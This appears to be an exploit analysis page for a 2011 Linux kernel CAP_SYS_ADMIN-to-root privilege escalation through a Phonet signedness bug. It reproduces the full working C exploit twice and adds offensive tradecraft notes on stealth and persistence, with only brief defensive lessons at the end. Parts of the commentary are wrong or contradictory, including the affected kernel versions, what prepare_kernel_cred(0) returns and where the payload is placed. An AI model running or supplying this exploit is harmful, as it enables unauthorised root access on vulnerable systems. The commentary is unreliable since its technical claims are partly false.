Linux Kernel CAP_SYS_ADMIN to Root Privilege Escalation (CVE-2010-3301 Analysis)

Linux Kernel CAP_SYS_ADMIN to Root Privilege Escalation (CVE-2010-3301 Analysis)
What this paper is
This paper details a local privilege escalation vulnerability in Linux kernels prior to version 2.6.34, specifically targeting Ubuntu 10.10 on x86 architecture. The exploit, written by Dan Rosenberg, leverages a signedness error within the Phonet protocol implementation to achieve root privileges. It requires the CAP_SYS_ADMIN capability to be present on the executable file.
Simple technical breakdown
The core of the exploit lies in manipulating the Phonet protocol's handling of protocol indices. By providing a negative protocol index, the exploit tricks the kernel into misinterpreting user-supplied data as kernel structures. This misinterpretation allows the attacker to overwrite a kernel function pointer with the address of a user-controlled function (getroot). The getroot function then calls commit_creds and prepare_kernel_cred to grant the process root privileges. The exploit uses a race condition and memory mapping to achieve this overwrite.
Complete code and payload walkthrough
Let's break down the provided C code and its associated payload.
Header and Global Variables
#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;- Includes: Standard C libraries for input/output, file control, socket operations, error handling, string manipulation, Linux capabilities, system information, memory mapping, and process control.
typedefs: These define function pointer types forcommit_credsandprepare_kernel_cred. Theregparm(3)attribute indicates that the first three arguments should be passed in registers, which is common for kernel functions on x86.- Global Variables:
commit_credsandprepare_kernel_credare declared as global function pointers. These will be populated later with the addresses of the corresponding kernel functions.
getroot Function
int getroot(void)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}- Purpose: This function is the ultimate goal of the exploit. It's designed to be executed within the kernel context.
- Behavior:
prepare_kernel_cred(0): This kernel function is called with0as an argument. It typically returns a pointer to acredstructure representing the current process's credentials. Passing0usually results in acredstructure with minimal privileges.commit_creds(...): This kernel function takes thecredstructure returned byprepare_kernel_credand applies it to the current process. By passing acredstructure obtained withprepare_kernel_cred(0), and then committing it, the process effectively inherits root privileges.
- Output: If successful, the calling process will have its credentials updated to root.
konami Function (Payload)
int konami(void)
{
/* Konami code! */
asm("inc %edx;" /* UP */
"inc %edx;" /* UP */
"dec %edx;" /* DOWN */
"dec %edx;" /* DOWN */
"shl %edx;" /* LEFT */
"shr %edx;" /* RIGHT */
"shl %edx;" /* LEFT */
"shr %edx;" /* RIGHT */
"push %ebx;" /* B */
"pop %ebx;"
"push %eax;" /* A */
"pop %eax;"
"mov $getroot, %ebx;"
"call *%ebx;"); /* START */
return 0;
}- Purpose: This function contains the actual shellcode that will be executed in the kernel. It's named "konami" as a playful reference to the famous cheat code.
- Behavior: This is a block of inline assembly code.
inc %edx; inc %edx; dec %edx; dec %edx;: These instructions manipulate theEDXregister. The sequenceUP, UP, DOWN, DOWNeffectively leavesEDXunchanged.shl %edx; shr %edx; shl %edx; shr %edx;: These instructions manipulate theEDXregister. The sequenceLEFT, RIGHT, LEFT, RIGHTalso leavesEDXunchanged.push %ebx; pop %ebx;: This sequence pushes the current value ofEBXonto the stack and then immediately pops it back. This is a common idiom to zero outEBXif it's not needed, or to save and restore it if it is. In this context, it's likely used to ensureEBXis in a predictable state.push %eax; pop %eax;: Similar to theEBXmanipulation, this sequence ensuresEAXis in a predictable state (likely zeroed out).mov $getroot, %ebx;: This instruction moves the address of thegetrootfunction into theEBXregister.call *%ebx;: This is the critical instruction. It calls the function whose address is stored inEBX. SinceEBXholds the address ofgetroot, this effectively callsgetroot.
- Output: Executes the
getrootfunction, leading to privilege escalation.
get_kernel_sym Function
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}- Purpose: This function is a utility to find the memory addresses of kernel symbols (functions or global variables) by parsing
/proc/kallsymsor/proc/ksyms. - Behavior:
- It attempts to open
/proc/kallsyms, which is the standard location for kernel symbol information. If that fails, it tries/proc/ksyms, an older format. - It then reads each line from the file, parsing the address and symbol name.
- The
oldstylelogic handles variations in the/proc/ksymsformat, including stripping suffixes related to SMP (Symmetric Multiprocessing) configurations. - If a symbol name matches the
nameargument, its address is printed and returned.
- It attempts to open
- Output: The memory address of the requested kernel symbol, or
0if not found.
main Function
int main(int argc, char * argv[])
{
int sock, proto, i, offset = -1;
unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
void * map;
/* Create a socket to load the module for symbol support */
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
sock = socket(PF_PHONET, SOCK_DGRAM, 0);
if(sock < 0) {
if(errno == EPERM)
printf("[*] You don't have CAP_SYS_ADMIN.\n");
else
printf("[*] Failed to open Phonet socket.\n");
return -1;
}
/* Resolve kernel symbols */
printf("[*] Resolving kernel symbols...\n");
proto_tab = get_kernel_sym("proto_tab");
pn_ops = get_kernel_sym("phonet_dgram_ops");
pn_ioctl = get_kernel_sym("pn_socket_ioctl");
commit_creds = get_kernel_sym("commit_creds");
prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
!pn_ops || !pn_ioctl) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Thanks bla, for reminding me how to do basic math */
landing = 0x20000000;
proto = 1 << 31 | (landing - proto_tab) >> 2;
/* Map it */
printf("[*] Preparing fake structures...\n");
map = mmap((void *)landing, 0x10000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
return -1;
}
/* Pointer to phonet_protocol struct */
ptr = (unsigned long *)landing;
ptr[0] = &ptr[1];
/* phonet_protocol struct */
for(i = 1; i < 4; i++)
ptr[i] = &ptr[4];
/* proto struct */
for(i = 4; i < 204; i++)
ptr[i] = &ptr[204];
/* First, do a test run to calculate any offsets */
target = 0x30000000;
/* module struct */
for(i = 204; i < 404; i++)
ptr[i] = target;
/* Map it */
map = mmap((void *)0x30000000, 0x2000000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
return -1;
}
printf("[*] Calculating offsets...\n");
socket(PF_PHONET, SOCK_DGRAM, proto);
ptr = 0x30000000;
for(i = 0; i < 0x800000; i++) {
if(ptr[i] != 0) {
offset = i * sizeof(void *);
break;
}
}
if(offset == -1) {
printf("[*] Test run failed.\n");
return -1;
}
/* MSB of pn_ioctl */
target = pn_ops + 10 * sizeof(void *) - 1 - offset;
/* Re-fill the module struct */
ptr = (unsigned long *)landing;
for(i = 204; i < 404; i++)
ptr[i] = target;
/* Push pn_ioctl fptr into userspace */
printf("[*] Modifying function pointer...\n");
landing = pn_ioctl;
while((landing & 0xff000000) != 0x10000000) {
socket(PF_PHONET, SOCK_DGRAM, proto);
landing += 0x01000000;
}
/* Map it */
map = mmap((void *)(landing & ~0xfff), 0x10000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map payload area.\n");
return -1;
}
/* Copy payload */
memcpy((void *)landing, &konami, 1024);
printf("[*] Executing Konami code at ring0...\n");
ioctl(sock, 0, NULL);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Konami code worked! Have a root shell.\n");
execl("/bin/sh", "/bin/sh", NULL);
}- Purpose: This is the main execution logic of the exploit. It sets up the environment, finds necessary kernel addresses, crafts fake kernel structures, triggers the vulnerability, and finally executes the payload.
- Behavior:
- Socket Creation:
sock = socket(PF_PHONET, SOCK_DGRAM, 0);: Attempts to create a socket using the Phonet protocol. This is a prerequisite for triggering the vulnerability and also checks if the process hasCAP_SYS_ADMIN(iferrno == EPERM).
- Kernel Symbol Resolution:
- Calls
get_kernel_symto find the addresses of:proto_tab: The table of registered Phonet protocols.phonet_dgram_ops: The operations structure for Phonet datagram sockets.pn_socket_ioctl: Theioctlhandler for Phonet sockets. This is a key target for overwriting.commit_creds: Function to apply credentials.prepare_kernel_cred: Function to create credentials.
- Checks if all symbols were resolved.
- Calls
- Crafting Fake Structures and Triggering Vulnerability:
landing = 0x20000000;: Sets a base address for mapping fake kernel structures.proto = 1 << 31 | (landing - proto_tab) >> 2;: This is the core of the signedness error exploitation.1 << 31: Sets the most significant bit, making theprotovalue negative.(landing - proto_tab) >> 2: Calculates an offset relative toproto_tab. When this negativeprotovalue is used in the kernel's Phonet protocol handling, it leads to an out-of-bounds read/write. The>> 2is because protocol indices are often multiplied by 4 (size of a pointer) when used as array indices.
- First
mmap:map = mmap((void *)landing, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);: Maps a region of memory at0x20000000for writing fake kernel data.
- Filling Fake Structures (Initial):
ptr = (unsigned long *)landing; ptr[0] = &ptr[1];: Sets up a pointer chain.- The loops
for(i = 1; i < 4; i++) ptr[i] = &ptr[4];andfor(i = 4; i < 204; i++) ptr[i] = &ptr[204];create a series of pointers that will be interpreted as parts of kernel structures (e.g.,phonet_protocolandprotostructures). The exact structure layout is not explicitly defined here but is inferred from how the kernel uses these structures. for(i = 204; i < 404; i++) ptr[i] = target;: This loop fills a section that will be interpreted as amodulestruct'slistfield, pointing to atargetaddress. This is part of the race condition setup.
- Second
mmap:map = mmap((void *)0x30000000, 0x2000000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);: Maps a larger area for the test run to find offsets.
- Test Run and Offset Calculation:
socket(PF_PHONET, SOCK_DGRAM, proto);: This call is crucial. It triggers the kernel's Phonet protocol handling with the crafted negativeprotovalue. The kernel attempts to accessproto_tabusing this negative index, leading to an out-of-bounds access.- The loop
for(i = 0; i < 0x800000; i++) { if(ptr[i] != 0) { offset = i * sizeof(void *); break; } }searches for the first non-zero value in the memory region mapped at0x30000000. This non-zero value indicates where the kernel's out-of-bounds write has landed, allowing the exploit to calculate theoffset.
- Calculating Target Address:
target = pn_ops + 10 * sizeof(void *) - 1 - offset;: This calculates the precise address within thephonet_dgram_opsstructure that needs to be overwritten. Specifically, it targets the function pointer forioctl(which is typically at offset10 * sizeof(void *)within thefile_operationsstruct, andphonet_dgram_opspoints to such a struct). Theoffsetis subtracted to account for the kernel's write location.
- Re-filling Fake Structures:
- The
modulestruct pointers are updated to point to the calculatedtargetaddress.
- The
- Pushing
pn_ioctlfptr into userspace:landing = pn_ioctl; while((landing & 0xff000000) != 0x10000000) { socket(PF_PHONET, SOCK_DGRAM, proto); landing += 0x01000000; }: This loop repeatedly triggers the vulnerability, incrementinglandingby0x01000000each time. The goal is to find a memory address within the kernel's address space (specifically, one that starts with0x10) where thepn_ioctlfunction pointer can be placed. This is part of the race condition to control thepn_ioctlfunction pointer.
- Third
mmap:map = mmap((void *)(landing & ~0xfff), 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);: Maps memory at the calculatedlandingaddress (aligned to a page boundary) to place the exploit's shellcode.
- Copying Payload:
memcpy((void *)landing, &konami, 1024);: Copies thekonamifunction (our shellcode) into the mapped memory.
- Triggering Exploit:
ioctl(sock, 0, NULL);: This finalioctlcall triggers the vulnerability again. This time, the crafted data causes thepn_ioctlfunction pointer inphonet_dgram_opsto be overwritten with the address of ourkonamishellcode.
- Verification and Shell:
if(getuid()) { ... }: Checks if the user ID is still non-zero (meaning root was not obtained).execl("/bin/sh", "/bin/sh", NULL);: If successful, replaces the current process with a root shell.
- Socket Creation:
- Output: Attempts to gain root privileges and then executes
/bin/sh.
Code Fragment/Block -> Practical Purpose Mapping
socket(PF_PHONET, SOCK_DGRAM, 0);-> Initial check for CAP_SYS_ADMIN and Phonet support.get_kernel_sym(...)calls -> Locate critical kernel functions and data structures.proto = 1 << 31 | (landing - proto_tab) >> 2;-> Craft a negative protocol index to trigger signedness error.mmap((void *)landing, ...)(first) -> Allocate memory for fake kernel structures.ptr[0] = &ptr[1]; ... ptr[i] = &ptr[204];-> Construct fakephonet_protocolandprotostructures.for(i = 204; i < 404; i++) ptr[i] = target;-> Prepare fakemodulestruct for race condition.socket(PF_PHONET, SOCK_DGRAM, proto);(during offset calculation) -> Trigger kernel vulnerability to find write offset.for(i = 0; i < 0x800000; i++) { if(ptr[i] != 0) { offset = i * sizeof(void *); break; } }-> Determine the exact kernel memory address where the vulnerability writes.target = pn_ops + 10 * sizeof(void *) - 1 - offset;-> Calculate the target address of thepn_ioctlfunction pointer to overwrite.for(i = 204; i < 404; i++) ptr[i] = target;(second time) -> Update fakemodulestruct to point to the target function pointer.landing = pn_ioctl; while(...) { ... landing += 0x01000000; }-> Race condition to find a suitable kernel memory location for the shellcode and overwritepn_ioctl.mmap((void *)(landing & ~0xfff), ...)(third) -> Allocate memory for the shellcode at the determined kernel address.memcpy((void *)landing, &konami, 1024);-> Copy thekonamishellcode into the allocated kernel memory.ioctl(sock, 0, NULL);-> Final trigger of the vulnerability to overwritepn_ioctlwith shellcode address and execute it.execl("/bin/sh", "/bin/sh", NULL);-> Replace process with a root shell.
Practical details for offensive operations teams
- Required Access Level: The target process must have the
CAP_SYS_ADMINcapability. This is often granted to processes run by root, but can also be set on specific executables usingsetcap. The exploit itself is run as a user-level program. - Lab Preconditions:
- A vulnerable Linux kernel (version < 2.6.34). Ubuntu 10.10 (Maverick Meerkat) is explicitly mentioned.
- The Phonet protocol must be compiled into the kernel or available as a module.
- The target system must be 32-bit x86 architecture.
/proc/kallsyms(or/proc/ksyms) must be accessible to resolve kernel symbols.- The target executable must have
cap_sys_admin+epset.
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit.
- Standard Linux utilities (
setcap,gcc,gdbfor debugging).
- Execution Pitfalls:
- Kernel Version Specificity: The exploit relies on specific kernel code paths and data structures that may have changed in later versions.
- Architecture Specificity: Designed for 32-bit x86. Porting to 64-bit would require significant changes to assembly and memory addressing.
- Phonet Protocol Availability: If the Phonet protocol is not compiled or loaded, the initial
socket()call will fail. - Symbol Availability: If
/proc/kallsymsis stripped or inaccessible,get_kernel_symwill fail. - Race Condition: The exploit relies on a race condition between mapping memory, triggering the vulnerability, and the kernel's internal operations. This can be sensitive to system load and timing. Multi-CPU systems are noted as potentially problematic.
- Memory Layout: The exploit assumes specific memory layouts for kernel structures and predictable memory mapping behavior. Kernel Address Space Layout Randomization (KASLR) would make this harder, but KASLR was not common in kernels of this era.
- Stability: The author explicitly states the exploit is "NOT stable." This means multiple runs might be necessary.
- Tradecraft Considerations:
- Execution Vector: The primary vector is having a user-level executable with
CAP_SYS_ADMINset. This could be achieved through a prior compromise or by a user with sufficient privileges to set capabilities. - Stealth: The exploit involves standard system calls (
socket,mmap,ioctl). The primary telemetry would be the creation of a Phonet socket and the subsequentioctlcall. Theexeclcall to spawn/bin/shis also a strong indicator. - Persistence: Once root is achieved, the attacker can establish persistence through standard root-level methods.
- Execution Vector: The primary vector is having a user-level executable with
Where this was used and when
- Context: This exploit was developed and published in 2011. It targets a specific vulnerability in Linux kernels released around 2010 (specifically, kernels before 2.6.34).
- Usage: It was demonstrated on a stock Ubuntu 10.10 installation. While the paper doesn't detail widespread exploitation in the wild, it was a significant proof-of-concept demonstrating how a seemingly powerful capability like
CAP_SYS_ADMINcould be misused. Such exploits are often used by security researchers to highlight vulnerabilities and by red teams during authorized engagements.
Defensive lessons for modern teams
- Capability Management: Strictly control which processes and executables have elevated capabilities like
CAP_SYS_ADMIN. Avoid granting it unnecessarily. - Kernel Patching: Keep Linux kernels updated to the latest stable versions. This vulnerability was fixed in kernel 2.6.34.
- Protocol Auditing: Be aware of less common network protocols (like Phonet) and their potential for vulnerabilities. Ensure they are compiled only if needed.
- Signedness Errors: Developers should be vigilant about signedness issues, especially when dealing with user-supplied input that interacts with kernel data structures or indices.
- Symbol Access: Restrict access to
/proc/kallsymswhere possible, as it can aid attackers in identifying kernel addresses. - Memory Safety: Employ memory-safe programming practices in kernel development to prevent buffer overflows, out-of-bounds accesses, and other memory corruption vulnerabilities.
- Auditing
file_operations: The exploit targets function pointers withinfile_operationsstructures. Auditing how these are populated and managed is crucial.
ASCII visual (if applicable)
This exploit involves complex memory manipulation and race conditions. A simple ASCII diagram might not fully capture the nuances, but here's a simplified view of the core idea:
+---------------------+ +---------------------+
| Attacker's Process | | Linux Kernel |
+---------------------+ +---------------------+
| | | |
| 1. Create Socket |------>| Phonet Protocol |
| (PF_PHONET) | | Handler |
| | | |
| 2. Craft Negative | | |
| Protocol Index |------>| Reads negative index|
| | | |
| 3. Map Fake Kernel | | |
| Structures |------>| Interprets data as |
| | | kernel structs |
| 4. Trigger Vuln | | |
| (socket/ioctl) |------>| Overwrites function |
| | | pointer (e.g., |
| 5. Copy Shellcode | | pn_ioctl) |
| to Kernel Mem | | |
| | | 6. Calls shellcode |
| 6. Trigger Vuln |------>| (via overwritten |
| (ioctl) | | function pointer)|
| | | |
| 7. Get Root Shell |<------| 7. commit_creds() |
| | | prepare_kernel_ |
+---------------------+ | cred() |
+---------------------+Explanation of the diagram:
- The attacker's process initiates by creating a Phonet socket.
- It crafts a negative protocol index as part of the socket creation parameters.
- The process maps fake kernel structures into memory.
- When the kernel handles the Phonet protocol with the negative index, it misinterprets the attacker's mapped data as legitimate kernel structures. This leads to an out-of-bounds write.
- The attacker copies their shellcode into kernel memory at a location determined by the vulnerability.
- A subsequent trigger (often an
ioctlcall) causes the kernel to overwrite a critical function pointer (likepn_ioctl) with the address of the attacker's shellcode. - When the kernel later attempts to call the overwritten function pointer, it instead executes the attacker's shellcode in kernel mode. This shellcode then calls
commit_credsandprepare_kernel_credto gain root privileges.
Source references
- Paper ID: 15916
- Paper Title: Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1)
- Author: Dan Rosenberg
- Published: 2011-01-05
- Keywords: Linux_x86,local
- Paper URL: https://www.exploit-db.com/papers/15916
- Raw Exploit URL: https://www.exploit-db.com/raw/15916
Original Exploit-DB Content (Verbatim)
/*
* Linux Kernel CAP_SYS_ADMIN to root exploit
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc -w caps-to-root.c -o caps-to-root
* sudo setcap cap_sys_admin+ep caps-to-root
* ./caps-to-root
*
* This exploit is NOT stable:
*
* * It only works on 32-bit x86 machines
*
* * It only works on >= 2.6.34 kernels (it could probably be ported back, but
* it involves winning a race condition)
*
* * It requires symbol support for symbols that aren't included by default in
* several distributions
*
* * It requires the Phonet protocol, which may not be compiled on some
* distributions
*
* * You may experience problems on multi-CPU systems
*
* It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be
* surprised if it doesn't work on other distributions.
*
* ----
*
* Lately there's been a lot of talk about how a large subset of Linux
* capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all
* capability that, among other things, allows mounting filesystems and
* injecting commands into an administrator's shell - in other words, it
* trivially allows you to get root. However, I found another way to get root
* from CAP_SYS_ADMIN...the hard way.
*
* This exploit leverages a signedness error in the Phonet protocol. By
* specifying a negative protocol index, I can craft a series of fake
* structures in userspace and cause the incrementing of an arbitrary kernel
* address, which I then leverage to execute arbitrary kernel code.
*
* Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
* and bla.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int getroot(void)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}
int konami(void)
{
/* Konami code! */
asm("inc %edx;" /* UP */
"inc %edx;" /* UP */
"dec %edx;" /* DOWN */
"dec %edx;" /* DOWN */
"shl %edx;" /* LEFT */
"shr %edx;" /* RIGHT */
"shl %edx;" /* LEFT */
"shr %edx;" /* RIGHT */
"push %ebx;" /* B */
"pop %ebx;"
"push %eax;" /* A */
"pop %eax;"
"mov $getroot, %ebx;"
"call *%ebx;"); /* START */
return 0;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int main(int argc, char * argv[])
{
int sock, proto, i, offset = -1;
unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
void * map;
/* Create a socket to load the module for symbol support */
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
sock = socket(PF_PHONET, SOCK_DGRAM, 0);
if(sock < 0) {
if(errno == EPERM)
printf("[*] You don't have CAP_SYS_ADMIN.\n");
else
printf("[*] Failed to open Phonet socket.\n");
return -1;
}
/* Resolve kernel symbols */
printf("[*] Resolving kernel symbols...\n");
proto_tab = get_kernel_sym("proto_tab");
pn_ops = get_kernel_sym("phonet_dgram_ops");
pn_ioctl = get_kernel_sym("pn_socket_ioctl");
commit_creds = get_kernel_sym("commit_creds");
prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
!pn_ops || !pn_ioctl) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Thanks bla, for reminding me how to do basic math */
landing = 0x20000000;
proto = 1 << 31 | (landing - proto_tab) >> 2;
/* Map it */
printf("[*] Preparing fake structures...\n");
map = mmap((void *)landing, 0x10000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
return -1;
}
/* Pointer to phonet_protocol struct */
ptr = (unsigned long *)landing;
ptr[0] = &ptr[1];
/* phonet_protocol struct */
for(i = 1; i < 4; i++)
ptr[i] = &ptr[4];
/* proto struct */
for(i = 4; i < 204; i++)
ptr[i] = &ptr[204];
/* First, do a test run to calculate any offsets */
target = 0x30000000;
/* module struct */
for(i = 204; i < 404; i++)
ptr[i] = target;
/* Map it */
map = mmap((void *)0x30000000, 0x2000000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
return -1;
}
printf("[*] Calculating offsets...\n");
socket(PF_PHONET, SOCK_DGRAM, proto);
ptr = 0x30000000;
for(i = 0; i < 0x800000; i++) {
if(ptr[i] != 0) {
offset = i * sizeof(void *);
break;
}
}
if(offset == -1) {
printf("[*] Test run failed.\n");
return -1;
}
/* MSB of pn_ioctl */
target = pn_ops + 10 * sizeof(void *) - 1 - offset;
/* Re-fill the module struct */
ptr = (unsigned long *)landing;
for(i = 204; i < 404; i++)
ptr[i] = target;
/* Push pn_ioctl fptr into userspace */
printf("[*] Modifying function pointer...\n");
landing = pn_ioctl;
while((landing & 0xff000000) != 0x10000000) {
socket(PF_PHONET, SOCK_DGRAM, proto);
landing += 0x01000000;
}
/* Map it */
map = mmap((void *)(landing & ~0xfff), 0x10000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map payload area.\n");
return -1;
}
/* Copy payload */
memcpy((void *)landing, &konami, 1024);
printf("[*] Executing Konami code at ring0...\n");
ioctl(sock, 0, NULL);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Konami code worked! Have a root shell.\n");
execl("/bin/sh", "/bin/sh", NULL);
}